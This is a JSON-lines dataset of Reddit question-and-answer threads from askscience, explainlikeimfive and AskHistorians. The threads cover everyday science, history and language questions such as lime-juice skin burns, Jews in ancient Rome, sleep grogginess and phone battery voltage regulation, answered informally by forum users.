{"q_id": "6wokth", "title": "Why does lime juice severely burn the skin when exposed to sunlight?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6wokth/why_does_lime_juice_severely_burn_the_skin_when/", "answers": {"a_id": ["dm9q5lb"], "score": [40], "text": ["A range of plants which include the citrus family contain active compounds called furocoumarins in their juice. When this compound reacts with uv-a light on skin surface, energy is released through a chemical reaction and this energy gets absorbed mostly by the skin and as a result severe burns, blisters and hyperpigmentation occurs.\nThis reaction is also known as margarita dermatitis, because lots of cocktails contain some degree of lime or lime juice."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6pfybu", "title": "is (male) ejaculation the cause of any considerable nutrient loss?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6pfybu/eli5_is_male_ejaculation_the_cause_of_any/", "answers": {"a_id": ["dkoz4cz"], "score": [2], "text": ["No, not really. We produce hundreds of millions (if not billions) of sperm every day, no matter if we ejaculate or not. The unused semen will absorb back into the body and the nutrients will either be used in making new sperm or elsewhere in the body.\n\nSperm doesn't take much to create, either. Ejaculate as often as you like, it won't affect you in any significant way. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9qgfk2", "title": "why is wood so good for construction?", "selftext": "Since it\u2019s an organic substance, shouldn\u2019t it deteriorate over time and eventually become too weak to support the weight of a house?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9qgfk2/eli5_why_is_wood_so_good_for_construction/", "answers": {"a_id": ["e88zj9z", "e88zrcl", "e88zunu", "e89422e", "e89nkyb"], "score": [12, 29, 8, 3, 2], "text": ["Size, availability and ease of transport. Trees are big enough to make things out of, they grow everywhere and are lighter than stone for an equivalent size.\n\nModern chemicals allow for wood to be treated, making it last longer against the elements, but in olden days, pitch was used to waterproof wood. When it's time for repairs, it's easy enough to replace a \"bad\" section with newer wood.", "Wood actually hardens over time, so long as its kept dry. It can easily be treated with a variety of chemicals for mold resistance. Its a very cheap, easily sustainable resource. Its very strong a lightweight. It comes in a wide variety of types with different properties. It can flex and return to its original shape without permanent damage.", "It only deteriorates if something causes it to deteriorate, e.g. moisture, fungus, termites, fire, etc. If wood is kept in good condition, it will stay strong.", "It\u2019s so good there is a whole market for reused wood. Knock the original structure down and save the wood beams for a new structure.", "Most forms of wood deterioration require that the wood have a sufficiently high moisture content - including most forms of insect and microbial attack.\n\nWhen you use wood in a structure you generally make sure the exterior is constructed in such a way that water runs off the exterior rather than finding routes inside the building, if you\u2019re using wood to do that you make sure the wood exposed to the elements is painted and the paint is maintained to keep the wood itself dry.\n\nProviding your building envelope stays in good condition wood will last centuries. But if water starts getting in for long periods of time then the lifespan of the wetted parts drops very quickly to a period of months\n\nNow some wood does a lot better than other - it\u2019s naturally resistant to insect or rot, but those types are usually expensive. You can also treat wood that you know will be exposed to water (decks) with various chemicals to keep insects and microbes away - but neither of those will generate the same lifespan as well maintained dry wood.\n\nAs for use in things like houses - it\u2019s cheap, lightweight, can be easily field cut, easily fastened into place, requires minimal advance planning (steel and concrete require substantial off site fabrication and heavy equipment to install, wood needs a pickup truck and a job saw) and has good strength to weight ratio given the uses it normally sees. It\u2019s very well suited as a building material for smaller construction.\n\nIn places with a lot of earthquakes it\u2019s also particularly good - it\u2019s light weight means it gets relatively little force from an earthquake and it performs well in a ductile way so can dissipate energy from the earthquake. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "axqewq", "title": "what does it mean when someone is \"projecting?\"", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/axqewq/eli5_what_does_it_mean_when_someone_is_projecting/", "answers": {"a_id": ["ehvbmbj", "ehvbqt0", "ehvc41g"], "score": [8, 3, 3], "text": ["That they are accusing others of doing something that they themselves do. For instance, someone who talks about how everyone is out to steal from them, is a thief and a crook, may be someone who does those things and thus assumes everyone else is just like them. ", "People usually assume other people are like themselves.   If you like chocolate you assume other people like chocolate.   This is projecting your opinions or actions on another. \n\nThe standard usage is when someone assumes another person would do something bad.   If you assume someone would steal if given the chance it is likely you would do so and assume they are like you. ", "If one is projecting, they are assuming what someone is thinking or meaning by their actions when they have no logical reason or proof. If one is feeling insecure about their outfit, they might project that people think they look stupid or ugly when in reality no one actually cares. One might project that their partner is angry at them when in reality they are just tired or grumpy. Projecting is just assuming you know what other people are thinking without proof or them flat out telling you how they feel. Feelings are not facts."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "513myw", "title": "how does an algorithm prove a mathematical theorem?", "selftext": "I recently heard in a talk that machine learning algorithms can now prove some mathematical theorems .what do they mean when they say that?Theorems aren't some mathematical problems that can be solved by following a series of steps  that can be automated for all I know.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/513myw/eli5how_does_an_algorithm_prove_a_mathematical/", "answers": {"a_id": ["d790sgr", "d793faz"], "score": [21, 7], "text": ["The rules of mathematical logic can be followed by a program just as easily as the computer can perform arithmetic.  It's not all that complicated to write a program that knows how to take a set of true logical statements  &  combine them (using the rules of logic) into new logical statements that are also true - we've been doing it since the 60s.  If you combine enough logical statements, you'll eventually find a series of these that proves the theorem you wanted to prove.\n\nThe hard part comes in choosing how to combine your facts into new ones, figuring out dead ends that go nowhere  &  doing it all fast enough to figure out something worthwhile in your lifetime.  On top of that, finding the *shortest* proof and finding proofs that are easily understood by humans is also a challenge - a 5000 page proof is no use to mathematicians trying to understand what's going on.", "Let's do a toy example. \n\nTheorem: there are exactly 56520 prime numbers that are also palindromes between 10000 and 100000000000. \n\nYou could try to do this by hand. Or you could write a computer program. Prove the correctness of this program and output the result. Such a result should be accepted if repeated computational effort showed it to be true, even if no human ever sits down and go through all of them by him/herself.  \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4w55l2", "title": "In pre-Christian Rome, how high could an observant Jewish person climb in Roman society?", "selftext": "Could they, in theory or practice, become citizens? Senators? Did they want to do so? What obstacles might they have faced? Was there a \"best\" time for the prospering of Jewry in pre-Christian Rome?  Do we know of any prominent conversions to Judaism among the Roman nobility or inter-marriages?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4w55l2/in_prechristian_rome_how_high_could_an_observant/", "answers": {"a_id": ["d648k09"], "score": [39], "text": ["Just before the Christian era, many Jews are claimed to have migrated to Rome and other parts of the Empire as a result of economic hardship and continual wars between local powers such as Ptolemaic Egypt and the Selucids. It is even claimed that Jews were a part of Rome as early as 300-200BC. Despite this Jews do not seem to have been treated very well in the early/late Republic, evidenced by the fact that Hispanus, as Praetor of Rome in 139BC, expelled all non-citizen Jews from the city. \n\nMany Jews visited and stayed in Rome for extended periods of time. It was very common for client rulers to send their children to Rome to be educated in the Roman style and as a form of hostage. A specific example relating to Jews would be Herod the Great, who sent his sons Antipas, Archelaus and Philip to Rome.\n\nJulius Caesar and his immediate successors allowed Jews to practice their own beliefs without persecution. A popular name for this status is Religo licita (permitted religion), mentioned in the Apologeticum of Tertullian to describe the status of Judaism in the Empire. However this phrase is never mentioned in Roman Law, so it is unlikely that Jews were given formal rights, rather they were not persecuted because there was no reason for them to be. \n\nWe can see the attitude of the Romans toward Jews in the aftermath of the Jewish Roman Wars (66-135/later) in which the province of Judea was devastated, including much of the Temple of Jerusalem. After the destruction of much of Judea in 70AD, a 'Jewish Tax' or Fiscus Judaicus was introduced, requiring all Jews to pay around 2 denarii which had originally been paid for upkeep of the Temple of Jerusalem to now be paid toward the upkeep of Temples in Rome. A procurator in Rome was even appointed to specifically oversee the payment of this tax by all Jews in the Empire. \n\nNow, on to your specific question about how you would rise in Rome as a Jew. Many 'successful' Jews were slaves in Rome, having been captured during the Judean Wars. This fact in itself immediately limits your ambitions as you will likely never be a citizen, only at best a freedman with no chance to hold any official position. A famous example of a Jew who many people know is Josephus, a scholar and historian among other things. He fought against Vespasian in the first Jewish-Roman war and was captured and enslaved by the Emperor. In 69 AD he was given his freedom by Vespasian, and eventually even granted citizenship and served as an advisor to Titus. Evidently it would not have been impossible for Jews to do well in Roman high-circles, but it would have likely been rare. His children were Roman citizens and although it is unknown whether they continued to practice Judaism, it would not be impossible that they continued to prosper as a relatively well-off trading family. \n\nPaul the Apostle was claimed to be both a Jew and a Roman citizen, but some historians such as Helmet Koester have contested the evidence presented in The Book of Acts. Ultimately it is not impossible that he was both a citizen and a Jew, but there is little actual evidence for this. It is likely that most Jews in Rome and elsewhere continued to live as non-citizens, and there were very few Romans if any who would describe themselves as Jewish. This highlights just how difficult it would be as a Jew to prosper as anything more than a trader in Rome, as there are no examples of any Jewish-Roman aristocrats or Senators to my knowledge. Evidently virtually all Jews in Rome were non-citizens and part of the lower class.\n\nMost Jews would have lived in Rome and traded just as any other citizen. They would have still been able to buy and sell goods, and it is likely that many were able to become wealthy and influential within their circles. However as mentioned before Jews would be forever excluded from citizenship in most cases, with Emperor Domitian even forcing non-practising Jews to pay the previously mentioned Jewish Tax. This explains the Roman attitude toward Jews quite well even if it was an isolated case; Jews were not openly persecuted (at least for very long, the tax seems to disappear around the 2nd century AD) but they were not considered Roman and would not be permitted to hold any positions of power. The perception of other Roman citizens toward Jews would ahve likely been very similar to the aristocrats, seeing them as practising a foreign and strange religion and being responsible for years of bloodshed in Judea. It is impossible to know how they were treated, but it is likely that they were treated as they have been virtually everywhere else for 2000 years - feared, scapegoated and unfairly taxed. If a Roman citizen was bringing charges against a Jew (who could not legally defend or prosecute anybody, since he/she is not a citizen) then it is likely that the Jew would not have been trusted and thus punished. \n\nI hope my response answers your questions. In summary, living as a Jew in Rome would not have been very pleasant, just like everywhere else they have lived in ancient/medieval/recent history. A Roman citizen had many advantages over a Jew, and although there are some cases of Jews doing well for themselves, they are not common. Jews could prosper in Rome but they could never reach high office or hope to be treated like the other citizens. The best time to be a Jew would have been during the reigns of Julius and Augustus Caesar, as both relaxed religious laws and this seems to have continued into the future. There are no records of Jews marrying Roman citizens; Josephus married many times, but only to Jews or Greeks. Conversions would have been extremely unlikely, as it would be political suicide to give up your Roman religion in favour of a foreign and suspicious one. \n\n\n-Adrian Goldworthy's many books on Rome, most importantly 'Augustus'  \n\n-Philip Francis Esler, Community and Gospel in Luke\u2013Acts: The Social and Political Motivations of Lucan Theology\n\n-Benjamin H. Isaac, The Invention of Racism in Classical Antiquity (ficus judaicus)\n\n-The works of Josephus, including the Jewish War, which describe the tax imposed on Jews following the conclusion of the conflict\n\n-Valerius Maximus for the early treatment of Jews evidenced by the actions of Hispanus\n\n-Helmet Koester (article on his view of Paul)\n\n-The Jewish Encyclopedia (I have used this in my descriptions of the early existence of Jews in Rome)\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "yvu8c", "title": "Does dust contain DNA?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/yvu8c/does_dust_contain_dna/", "answers": {"a_id": ["c5z9zgc", "c5zaupf", "c5zcbbw"], "score": [15, 2, 2], "text": ["Assuming the dust is organic in nature (i.e. dead skin cells from a once living organism), then it contains DNA. Whether or not you would be able to extract information from that DNA is variable, depending on how degraded/decomposed the sample is. DNA slowly breaks down over time after death. \n\nDust that is comprised of microscopic rocks/particles, other non-organic material, obviously, does not contain DNA. ", "When we send DNA plasmids from lab to lab we just put a drop of them on a piece of paper because purified DNA is extremely durable.  So, probably. ", "If the dust is from an organic substance(s) then yes it has DNA although I wouldn't know if you could extract the DNA from it. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "pecn9", "title": "how to use the tachymeter on a wristwatch.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/pecn9/eli5_how_to_use_the_tachymeter_on_a_wristwatch/", "answers": {"a_id": ["c3oo12f"], "score": [10], "text": ["Start the second hand when an event occurs. Stop when it occurs again. \n\nThe number on the dial the second hand is pointing to is the number of events ***per hour***.\n\nIf I was running from the police in my sports car and the speedometer was broken, I could start the watch when I passed a milepost, and stop it on the next milepost.  If only thirty seconds had elapsed the tachymeter would indicate 120, or 120 *miles* traveled *per hour*."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6c9ina", "title": "Attila the Hun acquired massive wealth from the Eastern Roman Empire, what became of these riches?", "selftext": "Not too long ago I was listening to the History of Rome podcast when I heard the part about Attila the Hun being paid yearly by Constantinople in vast amounts of gold in return for peace.  Since the podcast focused on Roman history, ending at the fall of the western empire, I never learned what happened to that immense wealth.  Did the later Eastern \"Byzantine\" rulers ever get it back?  If not what became of it?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6c9ina/attila_the_hun_acquired_massive_wealth_from_the/", "answers": {"a_id": ["dht1qcr"], "score": [16], "text": ["What happened, after Attila's death, to the Huns is relatively poorly researched (or rather, not researched at all). I can only name two historians who have dealt with the 6th century Huns, and a third mentions them in passing while dealing with the Sclavs (the \"ancestors\" [not really] of the Slavs, who fought the Huns a lot). In terms of historical sources, they pop in and out of the picture. H\u0113rn\u00e4k (Reconstructed spelling. Ernakh by Greek reckoning, i.e Priscus'), Attila's third son, apparently killed his brothers, and probably inherited most of Attila's wealth. Attila died very suddenly at a feast, according to the Romans, and a power struggle started immediately between the three brothers. Priscus also mentions how H\u0113rn\u00e4k was his father's favourite son.\nLater on we meet H\u0113rn\u00e4k's descendant \"Goto\", but we don't know how he's related to H\u00e9rnak, only that they were of the same Hunnic clan. He caused trouble with the Byzantines and got crucified, that's about as much as we know of him.\nI can only imagine H\u0113rn\u00e4k inherited it, his sons split it, and so on and so forth. The Huns were basically trapped in the Balkans and part of Asia Minor, too weak to break out and with nowhere to migrate. One only has to observe their petty raids, barely mentioned in historical sources, until finally being overwhelmed by both the Magyars and T\u00fcrks. They were likely then subsumed into the general population.\n\nFun fact: H\u0113rn\u00e4k probably means \"Lucky Little Man.\"\nReconstructions of Hunnic/Hunnish vary wildly, but this is one of the most academically sound ones, I forget which author wrote it though (will find it though, I own the book). As is the consensus, it deals with Hunnic as a language in between Mongolian and Turkic, closer to the latter than the former, but still very different."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "38jkkm", "title": "what is the deal with asian people always squatting down to do stuff (eat popsicles, smoke cigarettes, etc.)?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/38jkkm/eli5_what_is_the_deal_with_asian_people_always/", "answers": {"a_id": ["crvie31", "crvieyz", "crvklew", "crvnjmu", "crvnlp3", "crvnq4d", "crvo7r2", "crvpvhl", "crvzs9o"], "score": [5, 9, 11, 3, 2, 2, 4, 24, 2], "text": ["They are relaxing, besides leaning against a wall, squatting is pretty high in regards to relaxing outdoors.", "It comes from farming. Asians are generally shorter than other races. Their societies have been agrarian a lot longer than other cultures. As little as 50 years ago, S. Korea was a very poor agrarian country. \n\nWorking the farms in a squat position saves strain on the back. That squat position is comfortable for them.", "My Mom who is a nurse says that it is a better way to squat (as opposed to kneeling) .  She claims that she doesn't see any patients with knee problems who can squat like that. ", "I believe the biggest reason is that most public toilets in Korea/Japan/some parts of the world are old-fashioned \"squat\" types.  They are not the ones you sit on, but you have to squat to take a dump and/or piss (if you are a lady).  Obviously most homes in Korea nowadays are the ones you sit on.  However, these squat type toilets are still prevalent in those countries.\n\nExample:  _URL_0_\n\nI was born and raised in Korea, then immigrated to the US when I was 13.  I remember using those squat type toilets in the past... but my whole family can't and won't do this (maybe my mom, since she still lives in Korea).  My friends that I visit still squat while they smoke and stuff.  They said it's comfortable and it doesn't get their pants dirty.  ", "Eons ago I thought I was cool leaning against a wall puffing on a candy cigarette. Maybe squatting is cool. It's like a lean.", "Third world squat or kimchee squat (what my Korean mom calls it) is a relaxed position that is good for your back. \nThere was a thread on the health benefits of doing this in /r/fitness not too long ago.\nIt gets you closer to the ground than a chair to do chores.", "Has anyone else squatted outside to poop? \n\nI work out in the middle of nowhere, often tens of miles from any building. I've had to poop outside more than I'd like to admit, but it's actually more comfortable than you'd expect. \n\nThe hardest part is trying not to drop a log into your pants. ", "Before the invention and wide distribution of the chair, everyone relaxed like that. A life time of sitting in chairs will make your hamstrings, and the muscles and connective tissue in your thighs, calves, and lower back less supple, to the point of making squatting uncomfortable or even painful. In parts of the world where chairs are less common, most people squat to relax or socialize. Chairs are bad for you. In Japan people traditionally sat on the floor at a low table to eat their meals; watch a traditional Japanese family sit down to dinner and see 80 year olds easily fold their legs under them and sit down.", "Africans do it too.\nHonestly sitting is bad for you. Squatting is an ability all babies can do which means us \"westerners\" used to be able to but our constant sitting in chairs has stopped us from being able to. \n\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.google.com/url?sa=i&amp;rct=j&amp;q=&amp;esrc=s&amp;source=images&amp;cd=&amp;cad=rja&amp;uact=8&amp;ved=0CAcQjRw&amp;url=http%3A%2F%2Fwww.japantoday.com%2Fcategory%2Flifestyle%2Fview%2Fjapanese-style-squat-toilets-a-surprising-way-to-stay-healthy&amp;ei=TqlwVeKmGIrboAT7kYIo&amp;bvm=bv.95039771,d.cGU&amp;psig=AFQjCNHmU5zzw2mtD7lTNVDDTNxkm3-tWg&amp;ust=1433533138483464"], [], [], [], [], ["https://www.google.co.jp/url?sa=i&amp;amp;source=images&amp;amp;cd=&amp;amp;ved=0CAQQjBw&amp;amp;url=http%3A%2F%2Fwwwdelivery.superstock.com%2FWI%2F223%2F1899%2FPreviewComp%2FSuperStock_1899-29780.jpg&amp;amp;ei=hP5wVfnoHYWh8QWI8IH4BA&amp;amp;psig=AFQjCNE3GJ-sbGOU3MuXfVxvqNbq7iCwug&amp;amp;ust=1433554945231669&amp;amp;rct=j"]]}
{"q_id": "kwkv7", "title": "When I get a good night's rest (~8 hours) it is nearly impossible for me to get up in the morning.  If I only get ~6 hours I wake up feeling a little crappy, but I can get up right away.  Is there a legitimate reason for this?", "selftext": "The title pretty much asks the whole thing.  It's WAY easier for me to get up at 9am if I'm up until 2 or 3am and much harder for me to get out of bed if I get 8 or 9 hours.  Why is this?  Should I simply start getting 6 hours of sleep per night?  When I wake up I feel a little crappy but quickly get over it.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/kwkv7/when_i_get_a_good_nights_rest_8_hours_it_is/", "answers": {"a_id": ["c2nt32h", "c2nt75c", "c2nt980", "c2nuxbh", "c2nt32h", "c2nt75c", "c2nt980", "c2nuxbh"], "score": [16, 5, 122, 6, 16, 5, 122, 6], "text": ["BBC Horizon did an interesting docu on this. I believe it was called \"BBC Horizon: The Secret Life Of Your Body Clock\"", "[circadian rhythms](_URL_0_) greatly affect your sleep cycles. It's possibly you may be able to change that feeling by altering when you are going to sleep slightly. Also, everyone has different requirements for completing a [sleep cycle](_URL_1_).\n\nIf you feel like experimenting, try changing your sleep habits for a few weeks and see if it makes a difference.", "The answer to this is highly individualized (and often depends on specific behavioral/medical/and health information), and so giving you an answer specific to your case is not only difficult, but also against the medical advice guidelines.  For a specific answer, go see a sleep doctor.\n\nWith that said, the short answer is that waking up during a REM cycle is associated with feelings of grogginess and difficulty with arousal from sleep.  How do you avoid waking up during a REM cycle you ask?  Not an easy task, however the first step is to maintain a consistent (*every* day) sleep and wake time.  By frequently changing your sleep/wake time your circadian rhythm gets disrupted and so your body doesn't know how to shift it's sleep cycles to avoid waking up during REM.  By keeping a regular sleep/wake time the body will naturally adjust it's sleep cycles to wake you from non-REM sleep.  Hope that helps.", "There was an article posted on reddit a couple weeks ago(ish) that suggested that hydration was a major issue. Your body uses plenty of water when you sleep, so if you sleep too long, you get a bit more dehydrated and thusly feel the grog.\n\nSorry for the lack of citation, I really should be working right now. I think I might have seen it in [/r/lifeprotips](_URL_0_)...", "BBC Horizon did an interesting docu on this. I believe it was called \"BBC Horizon: The Secret Life Of Your Body Clock\"", "[circadian rhythms](_URL_0_) greatly affect your sleep cycles. It's possibly you may be able to change that feeling by altering when you are going to sleep slightly. Also, everyone has different requirements for completing a [sleep cycle](_URL_1_).\n\nIf you feel like experimenting, try changing your sleep habits for a few weeks and see if it makes a difference.", "The answer to this is highly individualized (and often depends on specific behavioral/medical/and health information), and so giving you an answer specific to your case is not only difficult, but also against the medical advice guidelines.  For a specific answer, go see a sleep doctor.\n\nWith that said, the short answer is that waking up during a REM cycle is associated with feelings of grogginess and difficulty with arousal from sleep.  How do you avoid waking up during a REM cycle you ask?  Not an easy task, however the first step is to maintain a consistent (*every* day) sleep and wake time.  By frequently changing your sleep/wake time your circadian rhythm gets disrupted and so your body doesn't know how to shift it's sleep cycles to avoid waking up during REM.  By keeping a regular sleep/wake time the body will naturally adjust it's sleep cycles to wake you from non-REM sleep.  Hope that helps.", "There was an article posted on reddit a couple weeks ago(ish) that suggested that hydration was a major issue. Your body uses plenty of water when you sleep, so if you sleep too long, you get a bit more dehydrated and thusly feel the grog.\n\nSorry for the lack of citation, I really should be working right now. I think I might have seen it in [/r/lifeprotips](_URL_0_)..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Circadian_rhythm", "http://en.wikipedia.org/wiki/Sleep#Optimal_amount_in_humans"], [], ["http://reddit.com/r/lifeprotips"], [], ["http://en.wikipedia.org/wiki/Circadian_rhythm", "http://en.wikipedia.org/wiki/Sleep#Optimal_amount_in_humans"], [], ["http://reddit.com/r/lifeprotips"]]}
{"q_id": "gj1zd", "title": "So an eight year old asks \"what is electricity?\" How do you answer?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/gj1zd/so_an_eight_year_old_asks_what_is_electricity_how/", "answers": {"a_id": ["c1nzdpr"], "score": [4], "text": ["I'm of the opinion to keep things simple. Explain an atom like a sun with planets going around it (nucleus with electrons in orbit). Of course that's not an accurate picture, but it's close enough for an 8 year old I should think. Then for some elements, the metals, when you get enough atoms together a few electrons are able to move freely instead of orbiting. \n\nElectricity is then a wave of these electrons moving freely through a wire, like water through a hose. The water example is actually a really good analogy because then you can say things like, the flow of the water is like the electric current. High flow is high current. And the pressure of the water is like voltage, high pressure is high voltage. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9wo0vz", "title": "what is the difference between marmalade and jam?", "selftext": "Other than that marmalade consists of oranges, and jam with berries. Are there any other reasons to distinctly identify them? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9wo0vz/eli5_what_is_the_difference_between_marmalade_and/", "answers": {"a_id": ["e9m04sw", "e9m25zu", "e9ma62m"], "score": [12, 4, 10], "text": ["Marmalade is made with citrus fruits, so you can have orange marmalade, lemon marmalade or lime marmalade, for example.\n\nOriginally, it meant any jam, but came to have its current sense in the 17th century when citrus fruit became common in the UK.", "As a portuguese speaker, a little note of trivia for all, Marmelade comes from the portuguese word for [Quince](_URL_0_)\\- [Marmelo](_URL_1_). Basically, marmelade started as specifically Quince jam, but then was kind of used for other types of jams, too. ", "Jelly is a gelatinized fruit spread made primarily from fruit juices. \n\nJam is a gelatinized fruit spread made from fruit puree. \n\nPreserves are a gelatinized fruit spread made from fruit puree and small chunks of a fruit. \n\nMarmalade is a preserve made from citrus fruits involving a lot of zest from the peel of the fruit. \n\n(Note: These are the American designations of the differences of terms.) "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Quince", "https://en.wiktionary.org/wiki/marmelo"], []]}
{"q_id": "c0okbk", "title": "how does a battery continue to support the exact same functionality as the charge decreases over time? as in with a phone battery, how does the screen not get slowly dimmer, sounds from the speakers quieter?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c0okbk/eli5_how_does_a_battery_continue_to_support_the/", "answers": {"a_id": ["er6cxmk", "er6d2sc", "er6ec0m"], "score": [137, 4, 13], "text": ["First of all, I'll make a slight correction to your question:\n\n\"maintain the same amount of voltage as the amperage decreases\"\n\nActually, it's quite the opposite. It's the **voltage** that decreases as the battery is discharged. The current (amperage) mainly depends on what is connected to the battery (what we \"demand\").\n\nAnd the voltage can have some dramatic drops when the battery is discharged, from 4V to 3V (25% less), or even from 4.2V to 2.7V! (35% less) Normally, this would be quite noticeable, as you correctly imagined when you asked the question.\n\n & #x200B;\n\nSo, in order to avoid this effects, there is an extra circuit in the devices. This circuit maintains a fixed output voltage, independent of the input voltage. This is called a buck-boost, or step down-step up.\n\nThis circuit works by converting the input voltage (whatever it is) into the output voltage just like a Transformer does. The only rule you have is that Power in = Power out (+losses).\n\n & #x200B;\n\nAs an extra:\n\nElectrical power is calculated as P = I\\*V, where I = current and V = voltage.P(in) = P(out), so V(in) \\* I(in) = V(out) \\* I(out)This would mean that as V(in) decreases, I(in) must increase in order to keep the total power (brightness of your screen) fixed. This would mean that the current (amperage) actually **increases** as the battery discharges.", "A voltage regulator is what helps set a constant output voltage to a circuit given variable input voltage (batteries).\n\nThe cleanest method is with a linear voltage regulator that takes a higher voltage and produces a fixed lower voltage. Clean electricity is necessary for precision circuits like the CPU in your computer. Even if the higher voltage starts to decrease, the output will remain constant up till the input drops too much. The downside of linear regulators is that they drain power to run so they reduce the overall usage capacity.\n\nOther voltage regulators like switching regulators can take a lower voltage to produce a constant voltage than can be higher than the input. These are used in the case of AA batteries where alkaline vs lithium batteries have big differences in their nominal voltage (1.5 V vs. 1.2 V respectively). the regulayors can draw power even if the battery voltage drops a great deal. The overall circuit may have a fixed cutoff to prevent draining the battery too much. The downside of the switching regulators is that the act of boosting the voltage adds electrical noise to the circuit. They cannot be used for sensitive applications.", "Imagine a tank full of water, and you're draining the water from it. As the water level drops, so does the pressure, causing the flow of water to become slower. So what you can do to remedy this is to squeeze the tank to maintain a steady flow of water, to compensate for the loss of pressure.\n\nAll modern electronics have what is called a boost converter in them. This converts the varying voltage of the battery into a stable, pre-defined voltage. This comes at a cost though: the current (amperage) drawn from the battery will increase, as the boost converter draws more and more current from it as the voltage decreases, to compensate. But that's fine, it only means that the battery will drain faster when the voltage starts to drop, but your phone will always receive the same amount of power until the battery cuts out."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "z5tsn", "title": "Is facial recognition software able to differentiate between identical twins?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/z5tsn/is_facial_recognition_software_able_to/", "answers": {"a_id": ["c61rniy"], "score": [7], "text": ["Yes, given a large enough data-set. Although identical twins can be very similar, there are differences that can be identified by facial recognition software.\n\nEDIT: \"large enough data-set\" should probably be \"large enough training set\", although I know there have been advances in automatic discovery that I am not technically familiar with.\n\n/computer science hat off\n\nI'm an identical twin, and Apple's iPhoto face recognition software is able to tell my twin  &  I apart."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1w8wdq", "title": "what is *hand, foot and mouth disease* and when did it become a common childhood disease?", "selftext": "My 6 year old granddaughter has this.  Everything I am reading on the Internet says it is a common disease in children.  Why haven't I heard about it before this?  No one seemed to get it when I was a child or when my children were young in the '80's.  Is it some new disease that just came out of left field?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1w8wdq/eli5what_is_hand_foot_and_mouth_disease_and_when/", "answers": {"a_id": ["ceztkz9"], "score": [4], "text": ["Okay well, first off, not a doctor.  I did however get this disease a few years ago as one of the joys of working at a day care.  I was 26 or 27. I hadn't heard of it either, and no one I knew when I was a kid ever had it (that I knew of).  My parents hadn't heard of it.\n\nFrom what I gathered, it IS a relatively newer disease, or at least reported as one (I think I read that the first real outbreak wasn't reported until 1997 or so).  \n\nPart of the problem is that the usual symptoms are pretty common and relatively low key.  I had some blisters on my feet and hands but they were small.  Never actually got any around my mouth.  The child I think I got it from didn't show many symptoms either, just a few small blisters on the edge of one of her hands. Fevers and sore throat are common in a lot of things, especially in kids.  Even though it's pretty contagious, the disease doesn't last very long and goes away on its own.  Unless you get the more painful blisters or a lot around your mouth, I think it just tends to get dismissed.  Or at least it did in the past."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "806v7e", "title": "How far can something transmit a live video feed back to earth?", "selftext": "If something was transmitting a live video feed from launch when would it stop being \"live\". Also what would happen as the signal requires longer to reach earth? Would the video stop and catch up frame by frame?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/806v7e/how_far_can_something_transmit_a_live_video_feed/", "answers": {"a_id": ["duv2ux4"], "score": [6], "text": ["The speed of light is just under 300,000 km/s I would probably perceive anything that happened in less than a second to be instant. So after 300,000 km there would be noticeable lag. The moon is about 384,000 km from earth so technically any live footage you see of something from lunar orbit would have a ~1s lag time. Mars would get really crazy because the distance between Earth and mars is always changing...lag time there would be between 3 minutes to 21 minutes."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
